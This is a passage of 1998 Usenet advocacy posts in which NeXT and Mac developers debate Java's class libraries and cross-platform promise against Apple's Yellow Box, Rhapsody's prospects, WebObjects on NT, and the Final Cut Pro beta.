: the prime criterion. Maybe it is for you?
Perhaps I need to be a bit earthy: Steve Jobs has you by the balls. He
may not be squeezing, but he isn't letting go either. It may be harder
work to write a quality program in Java, but I'll take that choice because
there is not a single choke point on the technology. (If anything Java
has a contest of too many people offering to lead it.) When you choose
any sole source you give that source the power to squeeze you. You may
think Lawson sounds differnt talking about GX than you talking about YB,
but what's the difference? You have to take what Apple gives you, and if
they give you nothing you have to wait.
John
From: douyang@novice.uwaterloo.ca (Darwin Ouyang)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: cancel
Control: cancel <912190092.367317@watserv4.uwaterloo.ca>
Date: 27 Nov 1998 18:10:08 GMT
Organization: University of Waterloo
Message-ID: <912190207.838733@watserv4.uwaterloo.ca>
Cache-Post-Path: watserv4.uwaterloo.ca!douyang@novice.uwaterloo.ca
<912190092.367317@watserv4.uwaterloo.ca> was cancelled from within trn.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 11:33:45 -0600
Organization: Ericsson Data Services Americas
Message-ID: <365EE279.D5E5A5F2@ericsson.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
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Maury Markowitz wrote:
> I'm not sure I can agree. We use it here at the office, and frankly the
> idea of x-platform running appears to be a myth for anything but the most
> simple projects. In the case in question Java working fine from one
> browser failed to run on "the other one" and vie versa. Yes, the promise
> is there, but it certainly doesn't deliver! In that respect I'd have to
> say that YB and Java are very similar indeed.
The cross-browser functionality of Java programs is considerably
different from Java usage with a full-blown Java program. In other
words, a Java program is not the same thing as a class which extends
Applet. There are numerous incompatibilities between browsers when
running applets that do not occur for Java programs which run in a port
of the Sun reference JDK.
Try writing a reasonably-sized program in Java, certify that it's 100%
Pure, and run it in JRE on, say, Solaris, Linux, and Windows. I suspect
you'll find that it works.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 27 Nov 1998 11:29:24 -0600
Organization: Ericsson Data Services Americas
Message-ID: <365EE174.CEF080A3@ericsson.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <911724487.891276@watserv4.uwaterloo.ca> <365E758A.E989C18C@stud.umist.ac.uk>
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Edward Thomas wrote:
> Just a thought, but if you ran Netscrape as root in X and then got rid
> of the toolbars etc, would that be quivalent to an active desktop.
>
> (P.S. I don't really have a clue what I am on about so if I am really
> really wrong then forgive me ;)
Actually, it's a thought-provoking idea. While X gives the user the
ability to use the root window as a generic window to the extent of
decorating it, it's not possible to attach behaviors, such as widgets or
associate callbacks.
Even so, it's probably possible to design a window manager that provides
a mechanism for putting an application in the background. Not sure how
useful it would be, and it would require the explicit cooperation of a
window manager, but it's possible.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Fri, 27 Nov 1998 11:25:26 -0600
Organization: Ericsson Data Services Americas
Message-ID: <365EE086.9A062BF0@ericsson.com>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com>
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Greg Anderson wrote:
[cut]
> Yeah, there are plenty of other turkeys in that article, but that's the only
> one that applies to me and the groups I posted to. Unlike the other people
> polluting these groups nowadays, I try to stay on topic.
As one of the polluters, it behooves me to affirm that Greg is, indeed,
one of the *valuable* people here. Attacks like Jim's against someone of
Greg's standing are totally uncalled-for.
MJP
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 19:46:11 GMT
Organization: the secret circle of the NSRC
Message-ID: <73mvi3$h2v$1@leonie.object-factory.com>
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George Graves wrote:
> So, you're saying that WebObjects is a Yellow-Box app, and that Apple
He's not only saying so - it is.
> is shipping it with run-time libraries to allow it to run on NT? So,
> after installing WebObjects on NT (to get the libraries), a WebObjects
> user could then install tiFFany and other Yellow-Box apps, and have them
> run perfectly as if they were NT native applications? Permit me to doubt.
No. As weird as it might be, you're absolutely right (barring details like
licensing issues). We've been trying to explain this for some time now.
mildly amused,
Holger
Date: Fri, 27 Nov 1998 14:36:02 -0600
From: alex@webis.net (Alex Kac)
Mail-Copies-To: alex@webis.net
Subject: Re: Final Cut Pro
Message-ID: <alex-2711981436020001@cs48-197.austin.rr.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <73krr1$stc$1@nnrp1.dejanews.com> <73lqai$kps$1@nnrp1.dejanews.com>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy
In article <73lqai$kps$1@nnrp1.dejanews.com>, raxelbrof@my-dejanews.com wrote:
>I think Appleinsider is in the running to get a letter from apple -
>especially with their review of Final Cut Pro beta which showed a splash
>screen complete with serial number and (from memory) a registered to name -
>unless of course its public beta.
Did anybody else but me think that the Final Cut interface was sort of
AmigaDos 2.x-ish?
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Everyware Alliance Member
http://www.WebIS.net
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: 27 Nov 1998 19:53:53 GMT
Organization: University of Waterloo
Message-ID: <912196432.643557@watserv4.uwaterloo.ca>
References: <73iop0$29t@crab.afs.com> <73l8ps$6r6@crab.afs.com> <912185841.568838@watserv4.uwaterloo.ca> <73mpdp$a0o@crab.afs.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <73mpdp$a0o@crab.afs.com>, Greg Anderson <greg@afs.com> wrote:
>David Evans wrote:
>
>One of the great things about being surrounded by Quakers is that the spirit
>of Steve Sarich never gets close enough to seize you.
>
I hadn't considered this. Did you choose your location with this in mind?
>That's the guy. As I remember it, Ted had the equivalent of WebObjects
>before NeXT, and NeXT did virtually everything in its power to put that
>product out of business, including a revision of its basic license that made
>Ted's product non-conforming.
That's how I remember it as well. I recall trying WebRex at the time and
finding it very weird and strange; those who knew more than I got more into it
and and described it as "crap". But then I know *I* wasn't taking any lithium.
>Chuck Swiger was working for Ted at the time,
>and can supply the full story. It may be too long ago for DejaNews.
>
Oh, I don't think that I need to relive that saga again <shudder>. That's
why I mentioned it in the same article as Steve Sarich. I think that Mark
Crispin was even still around in those days!
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 15:38:24 -0600
Organization: Ericsson Data Services Americas
Message-ID: <365F1BD0.55ED9D2E@ericsson.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
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Maury Markowitz wrote:
> My basic conclusion is that an OOPS system does not become _generally_
> useful until it has both a good language and a good class library to work
> from. To date many many languages have satisfied the former criterion, but
> fall down on the second. For Java this is true today.
Well, like I said, it is the runtime environment, and not the class
library, that is at fault. The Java class library is well-done, and the
associate Java APIs from Sun (Java 2D/3D and Javamail, for instance) are
also very complete and very useful.
As you are no doubt well-aware, there are many problems with runtime
environments; the MacOS can serve as an excellent example for that. Keep
in mind that the Macintosh's problems with Java are not necessarily
Java's fault.
A co-worker complains that if Java had been sold only as a programming
language it would have taken C++'s place in a short span of time. He
says that the cross-platform promise has actually hurt it, and notes
that Sun's ambition was pretty much impossible to fulfill because of
many of the platforms involved. He's right to a certain extent, and I
tend to agree that Java makes for a poor cross-platform solution (when
used as intended, anyway), but it's not a failure.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 15:40:44 -0600
Organization: Ericsson Data Services Americas
Message-ID: <365F1C5C.FD0AC176@ericsson.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
<F33923.H85@T-FCN.Net> <73mknv$q24$1@nnrp02.primenet.com> <F33H5G.Lnu@T-FCN.Net> <73mus4$skq$1@nnrp02.primenet.com>
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John Jensen wrote:
[cut]
> You may
> think Lawson sounds differnt talking about GX than you talking about YB,
> but what's the difference? You have to take what Apple gives you, and if
> they give you nothing you have to wait.
Oof, bitter medicine, indeed.
MJP
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 20:42:10 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <73n2r2$rvq$1@supernews.com>
References: <199811251000.LAA32318@replay.com> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <73mlku$qu7$1@nnrp03.primenet.com>
In article <73mlku$qu7$1@nnrp03.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
>Maury Markowitz <maury@remove_this.istar.ca> wrote:
>: [...] In that respect I'd have to say that YB and Java are very similar
>: indeed.
Objective C and Java a fairly similar, if you squint. The Appkit is
far more mature than the original default programming library for
Java, the AWT. I'm reading up on Swing (followup to AWT in 1.2)
right now, and it obviously draws quite a bit from the Appkit.
I presume this is the influence of the Lighthouse guys. I probably
wouldn't complain that much if I had to do GUI programming in Swing.
>I still agree that OPENSTEP has been technically more advanced than Java
>for much of history and may still be today. The key difference is that
>Sun released Java "too soon" and let you decide when it is good enough to
>support your product. I think most people here would like it if Apple
>gave them the same choice with the Yellow Box.
In this day and age I don't think tightly controlled betas for
major new APIs are a very good idea. The major problem is getting
them adopted, not trying to prevent competitors from seeing what's
going on. This is not 1984 anymore.
--
Don McGregor | "Win if you can, lose if you must, but always cheat."
mcgredo@mbay.net | --Jesse Ventura
Message-ID: <365F12FA.5ED32041@home.com>
From: Ari <arikounavis@home.com>
Organization: I don't even have a watch
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Final Cut Pro
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <73krr1$stc$1@nnrp1.dejanews.com> <73lqai$kps$1@nnrp1.dejanews.com> <alex-2711981436020001@cs48-197.austin.rr.com>
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Date: Fri, 27 Nov 1998 20:59:42 GMT
NNTP-Posting-Date: Fri, 27 Nov 1998 12:59:42 PDT
I think thats due to a kaleidoscope theme. In any case, it looked pretty
cool.
ari
Alex Kac wrote:
>
> In article <73lqai$kps$1@nnrp1.dejanews.com>, raxelbrof@my-dejanews.com wrote:
>
> >I think Appleinsider is in the running to get a letter from apple -
> >especially with their review of Final Cut Pro beta which showed a splash
> >screen complete with serial number and (from memory) a registered to name -
> >unless of course its public beta.
>
> Did anybody else but me think that the Final Cut interface was sort of
> AmigaDos 2.x-ish?
>
> --
> Alex Kac
> Web Information Solutions CEO
> Dynamic Business Publishing - Everyware Alliance Member
> http://www.WebIS.net
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 20:59:47 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <73n3s3$hnp$1@supernews.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net>
In article <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net>,
George Graves <gmgraves@slip.net> wrote:
>Where are all of the Java apps? I've been hearing about Java this and Java
>that for more than 5 years now, and other than some limited web-related
>stuff, I've yet to see a Java-built application that I can actually run on
>either (never mind BOTH) my Mac and My Windows machines.
Unsurprising, since the major tools for creating applications sucked
matter from black holes. You can do a few cute things in AWT, but
you can't make serious applications easily. Swing might change that;
I'm still in the initial stages of playing around with it, but
it doesn't suck all that bad, from what I can see. Significant sections
of it are swiped from NeXTstep, which itself swiped from Smalltalk. Swing's
not quite as slick in many areas, but it could be better than pig farming.
Now if Java just had categories (grumble grumble grumble).
--
Don McGregor | "Win if you can, lose if you must, but always cheat."
mcgredo@mbay.net | --Jesse Ventura
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: The future of OS X Server is bleak
Message-ID: <slrn75ui2n.gk2.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com>
Date: Sat, 28 Nov 1998 00:46:48 GMT
In article <365F1BD0.55ED9D2E@ericsson.com>, Michael Peck wrote:
>Maury Markowitz wrote:
>
>> My basic conclusion is that an OOPS system does not become _generally_
>> useful until it has both a good language and a good class library to work
>> from. To date many many languages have satisfied the former criterion, but
>> fall down on the second. For Java this is true today.
>
>Well, like I said, it is the runtime environment, and not the class
>library, that is at fault. The Java class library is well-done, and the
>associate Java APIs from Sun (Java 2D/3D and Javamail, for instance) are
>also very complete and very useful.
No, from our perspective, Sun has been more interested in generating specs
for new class libraries, than fixing existing weak libraries. Swing isn't the
be-all-and-end-all, and still, how long did it take to get even here?!
If you think that the Java class libraries represent quality, then you haven't
seen much quality in class libraries (this is not a slam: the fact is that
most people haven't seen much quality in class libraries to date).
>As you are no doubt well-aware, there are many problems with runtime
>environments; the MacOS can serve as an excellent example for that. Keep
>in mind that the Macintosh's problems with Java are not necessarily
>Java's fault.
They're not Java's fault. I'd argue though that one might be able to make a
reasonable argument that they're Sun's fault. If job #1 for Sun was to make
a development environment that was consistent, and dependable for developers
then they could spend the bucks and make it happen for the various environ-
ments, but they didn't pursue this route. They decided (and it's a trade-
off, you could make an equally good argument for what they did) to let every-
one and their brother build a VM, and let the market shake things out.
The only point I want to make out of this is that a trade-off has been made:
consistency for ubiquity - very much the trade-off made in the Unix world
to conquer the proprietary OSes of the '70's and '80's.
>A co-worker complains that if Java had been sold only as a programming
>language it would have taken C++'s place in a short span of time.
Indeed. As a language it's a great way to recoup your losses, at least insofar
as you're able to leverage some time spent learning syntax, from throwing
money into the deep C++ money pit.
>He
>says that the cross-platform promise has actually hurt it, and notes
>that Sun's ambition was pretty much impossible to fulfill because of
>many of the platforms involved. He's right to a certain extent, and I
>tend to agree that Java makes for a poor cross-platform solution (when
>used as intended, anyway), but it's not a failure.
No it's not a failure. But it sure is a compromise and perhaps this is the
way that it has to be in order that it is sucessful. Most of all lets not
lose sight of this and fall into another "silver-bullet-programming-language"
trap like the industry seemed to fall into in the 80's with C++.
Regards,
Mark
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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Cc: michael.peck@ericsson.com
Organization: needs one
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<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
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<365F1BD0.55ED9D2E@ericsson.com>
Mime-Version: 1.0
Date: Sat, 28 Nov 1998 00:32:27 GMT
In <365F1BD0.55ED9D2E@ericsson.com> Michael Peck wrote:
> Well, like I said, it is the runtime environment, and not the class
> library, that is at fault.
Hmm, this is the part I disagree with.
> The Java class library is well-done, and the
> associate Java APIs from Sun (Java 2D/3D and Javamail, for instance) are
> also very complete and very useful.
Sorry, this is simply not the case when compared to the other item in the
thread. I've found a few sucky classes in YB (NSFileWrapper comes to mind,
*&^%#&%*^$) but for the most part even the most basic YB classes are better
than the best of the best in Java, PP, MacApp or MFC. The text handling
for instance, has no peer that I have seen anywhere. Then there's whole
classes of software that simply don't exist - EO, WEO etc.
For _now_ YB remains as the only tool out there that lets me concentrate
on the code and not filling in gaps in the objects. This has not yet
happened under Java notably AWT which is simply horrid.
> As you are no doubt well-aware, there are many problems with runtime
> environments; the MacOS can serve as an excellent example for that. Keep
> in mind that the Macintosh's problems with Java are not necessarily
> Java's fault.
For sure, MacOS Java engines are lousy, enough said.
> A co-worker complains that if Java had been sold only as a programming
> language it would have taken C++'s place in a short span of time.
Well I agree to an extent, with the exception that I think he
underestimates the lazyness of programmers considerably.
> says that the cross-platform promise has actually hurt it, and notes
> that Sun's ambition was pretty much impossible to fulfill because of
> many of the platforms involved. He's right to a certain extent, and I
> tend to agree that Java makes for a poor cross-platform solution (when
> used as intended, anyway), but it's not a failure.
Perhaps the proper approach was the exact opposite - make a system on
YOUR platform that's so good everyone's drooling over it and wants it on
their system too. But isn't that what YB was supposed to be?
Maury
Date: Fri, 27 Nov 1998 16:55:18 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Message-ID: <stevehix-2711981655180001@192.168.1.10>
References: <73iop0$29t@crab.afs.com>
Organization: Close to None
In article <73iop0$29t@crab.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Not that this should surprise anyone, but Apple got one of PC Week's IT
> Turkey Awards this week for Rhapsody. Specifically, it says:
>
> "Rotten Apple: Before iMac came the Rhapsody OS -- the *first* savior of
> Steve Jobs' enterprise. How many software developers wasted their time on a
> product that never saw the light of day?"
>
> Quibble with the details if you like, but you have to admit this is the
> common perception.
So we find that PC Week is an unreliable source, for at least
some things.
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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Cc: michael.peck@ericsson.com
Organization: needs one
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
<73mknv$q24$1@nnrp02.primenet.com> <F33H5G.Lnu@T-FCN.Net>
<73mus4$skq$1@nnrp02.primenet.com> <365F1C5C.FD0AC176@ericsson.com>
Mime-Version: 1.0
Date: Sat, 28 Nov 1998 01:02:47 GMT
John Jensen wrote:
> > think Lawson sounds differnt talking about GX than you talking about YB,
> > but what's the difference? You have to take what Apple gives you, and
> > if they give you nothing you have to wait.
I missed this in the first message. What's the difference? Your
viewpoint.
Lawson does not develop software for a living. I do.
Lawson has never developed a commercial application. I have.
Lawson gets pretty much everything wrong. I don't.
Lawson is convinced he's right. I'm not.
Those seem like pretty major difference to me. If you wish to render
them invisible through your blood coloured glasses that's certainly your
perogative. Nevertheless the reality of this argument is that we both have
the exact same information, and simply choose to view it in different ways.
Be bitter if you wish, but that doesn't strike me as terribly useful. I
figure I have two courses of action, I could continue to develop the app
and hope Apple actually releases something, or I could change jobs. I love
my job. The choice is clear, why would I possibly want to change? Because
Apple _might_ do something bad? Well seeing as that has absolutely no
bearing on my future _in the industry_ that seems like a silly thing to do.
This being the case, worrying over what Apple COULD do is pointless and
neverwracking.
So badmouth Apple all you want John, that's the local sport in this group
anyway, but your line above seems pretty mean spirited to me. I've never
said anything personal about your comments, I would suggest you leave
personal comments out of yours.
The reality is that YB is a powerful development system. Do you disagree
with this? I don't believe you do, so why would my support of the product
surprise you?
And while on the topic...
> I did a little poking around. There are apparently 435 applications that
> have been certified 100% Pure Java(tm). I would expect those to work on
> up-to-date JVMs for your Mac and Windows machines:
You are being disintigous, the question is about where the Java _stand
alone_ apps are, and this list contains none. I visited the links for the
various items listed, and of all the ones I went to are either web applets,
or Java class libs. I can think of a few myself, but the argument is still
basically true as far as I can see - I know of not a single "shinkwrap"
Java app.
Moreover I'm not sure your app is any different, as any search I did on
"primenet" in whois pointed me to web pages describing web based products.
So, do you sell a "standalone" app, or is it a web based app?
Maury
Message-ID: <365F4D4C.A50120E4@home.com>
From: Chris Van Buskirk <cvbuskirk@home.com>
Organization: Motto Agency
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com>
Content-Type: text/plain; charset=us-ascii
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Date: Sat, 28 Nov 1998 01:09:33 GMT
NNTP-Posting-Date: Fri, 27 Nov 1998 17:09:33 PDT
There's the beos....it works...it ships...and there's no
bullshit involved.
Greg Anderson wrote:
>
> Jim Polaski wrote in message ...
> >greg, is is possible, just possible that I note a wee bit of "BIAS" in
> >your commentary?
> > [snip remainder of two messages]
>
> I'm gonna cut you a break for slamming me, because (1) it's Thanksgiving,
> and I'm feeling charitable; and (2) it's obvious you don't know who I am.
>
> I AM one of those developers who wasted their time. I am one of the oldest
> remaining NEXTSTEP/YB developers (over 7 years of experience), with two
> products -- a page layout app and a word processor -- just itching to ship
> on the Solutions CD that is intended to accompany the commercial release of
> OSX Server. There is virtually no one more qualified to talk about this
> situation than me.
>
> Yeah, there are plenty of other turkeys in that article, but that's the only
> one that applies to me and the groups I posted to. Unlike the other people
> polluting these groups nowadays, I try to stay on topic.
>
> Greg
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 17:49:25 -0800
Organization: Graves Associates
Message-ID: <gmgraves-2711981749260001@sf-usr1-9-137.dialup.slip.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net> <73msqn$sb1$1@nnrp02.primenet.com> <73mtf1$sb1$2@nnrp02.primenet.com>
In article <73mtf1$sb1$2@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Jensen <jjens@primenet.com> wrote:
> : George Graves <gmgraves@slip.net> wrote:
>
> :: Where are all of the Java apps? I've been hearing about Java this and Java
> :: that for more than 5 years now, and other than some limited web-related
> :: stuff, I've yet to see a Java-built application that I can actually run on
> :: either (never mind BOTH) my Mac and My Windows machines.
>
> : I mentioned in a earlier thread that our company has sold quite a bit of
> : it. I don't think we are the only ones.
>
> I did a little poking around. There are apparently 435 applications that
> have been certified 100% Pure Java(tm). I would expect those to work on
> up-to-date JVMs for your Mac and Windows machines:
>
> http://java.sun.com/100percent/latestlist.html
>
> There are of course more pure (but uncertified) applications out there as
> well.
>
> John
Thanks for the heads up.
I notice that the Java "cross platform" version of Applix Office Suite is
still broken down by platform, and that in spite of the fact that Apple
has a dandy Java run-time module (MRJ 2.1), Applix is not available for
Mac.
George Graves
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Fri, 27 Nov 1998 22:19:21 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73nq64$bo7@crab.afs.com>
References: <73iop0$29t@crab.afs.com> <73l8ps$6r6@crab.afs.com> <912185841.568838@watserv4.uwaterloo.ca> <73mpdp$a0o@crab.afs.com> <912196432.643557@watserv4.uwaterloo.ca>
David Evans wrote in message <912196432.643557@watserv4.uwaterloo.ca>...
>In article <73mpdp$a0o@crab.afs.com>, Greg Anderson <greg@afs.com> wrote:
>>
>>One of the great things about being surrounded by Quakers is that the
spirit
>>of Steve Sarich never gets close enough to seize you.
>
> I hadn't considered this. Did you choose your location with this in
mind?
No, but I did choose my wife with this in mind. 8^) Actually, I grew up in
the Greater Philadelphia area, moved to Washington DC to go to college, then
regained my senses about a decade later and moved back.
Greg
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Fri, 27 Nov 1998 22:25:13 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73nqh4$bos@crab.afs.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net> <73n3s3$hnp$1@supernews.com>
Donald R. McGregor wrote in message <73n3s3$hnp$1@supernews.com>...
>Unsurprising, since the major tools for creating applications sucked
>matter from black holes. You can do a few cute things in AWT, but
>you can't make serious applications easily. Swing might change that;
>I'm still in the initial stages of playing around with it, but
>it doesn't suck all that bad, from what I can see. Significant sections
>of it are swiped from NeXTstep, which itself swiped from Smalltalk.
Ironically, very early in the Java Revolution, Jayson Adams -- Mr.
NewsGrazer -- wrote some Java classes based on the AppKit that were
purchased by NetScape, christened JFC (I think; please don't hold me to that
acronym), and promptly buried for some unknown reason. I remember evaluating
them.
>Now if Java just had categories (grumble grumble grumble).
Yeah, that seems to be exclusive to ObjC. Too bad, categories are one of the
most useful paradigms ever invented for OOP.
Greg
From: rpeterson@msn.globaldialog.com (Ron Peterson)
Subject: Re: Do I have this right?
Newsgroups: comp.sys.next.advocacy
References: <iSG72.15689$aF1.15849@typhoon-sf.snfc21.pbi.net>
Message-ID: <yNK72.23$ww5.2042@homer.alpha.net>
Date: Sat, 28 Nov 1998 04:15:26 GMT
NNTP-Posting-Date: Fri, 27 Nov 1998 22:15:26 CDT
me@me.me wrote:
: Mac OS X:
: System:
: Mac OS X OS APIs are BSD Unix APIs. Mac OS binaries will not
: run natively.
This isn't quite right. Mac OS X APIs that require Objective C
object messaging are not directly BSD Unix function calls
although some of them may mirror the BSD calls. Some of the
Objective-C classes don't have corresponding BSD calls. So
a program written for Mac OS X cannot be easily converted to
run on BSD Unix.
The Mac OS X API calls are isolated from BSD Unix, so a
Yellow box app can run on other operating systems such as
Windows NT.
Ron
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: The future of OS X Server is bleak
Message-ID: <nagleF346t5.28w@netcom.com>
Organization: ICGNetcom
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com>
Date: Sat, 28 Nov 1998 04:22:17 GMT
Sender: nagle@netcom6.netcom.com
Michael Peck <michael.peck@ericsson.com> writes:
>A co-worker complains that if Java had been sold only as a programming
>language it would have taken C++'s place in a short span of time.
Nah. It's really hard to launch a new programming language into
the C++ market segment. Look at, say, Delphi, or Modula 3, both
of which are better than C++. But they don't look like C.
John Nagle
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 28 Nov 1998 04:29:57 GMT
Organization: MiscKit Development
Message-ID: <73nu85$h8b$1@news.xmission.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73i6rb$9rg$1@your.mother.com> <gmgraves-2611981054010001@sf-usr0-43-107.dialup.slip.net> <73kph1$ram$1@nnrp1.dejanews.com> <gmgraves-2711981100240001@sf-usr0-13-77.dialup.slip.net> <73mvi3$h2v$1@leonie.object-factory.com>
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NNTP-Posting-Date: 28 Nov 1998 04:29:57 GMT
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
> George Graves wrote:
> > So, you're saying that WebObjects is a Yellow-Box app, and that
> > Apple
>
> He's not only saying so - it is.
>
> > is shipping it with run-time libraries to allow it to run on NT?
> > So, after installing WebObjects on NT (to get the libraries), a
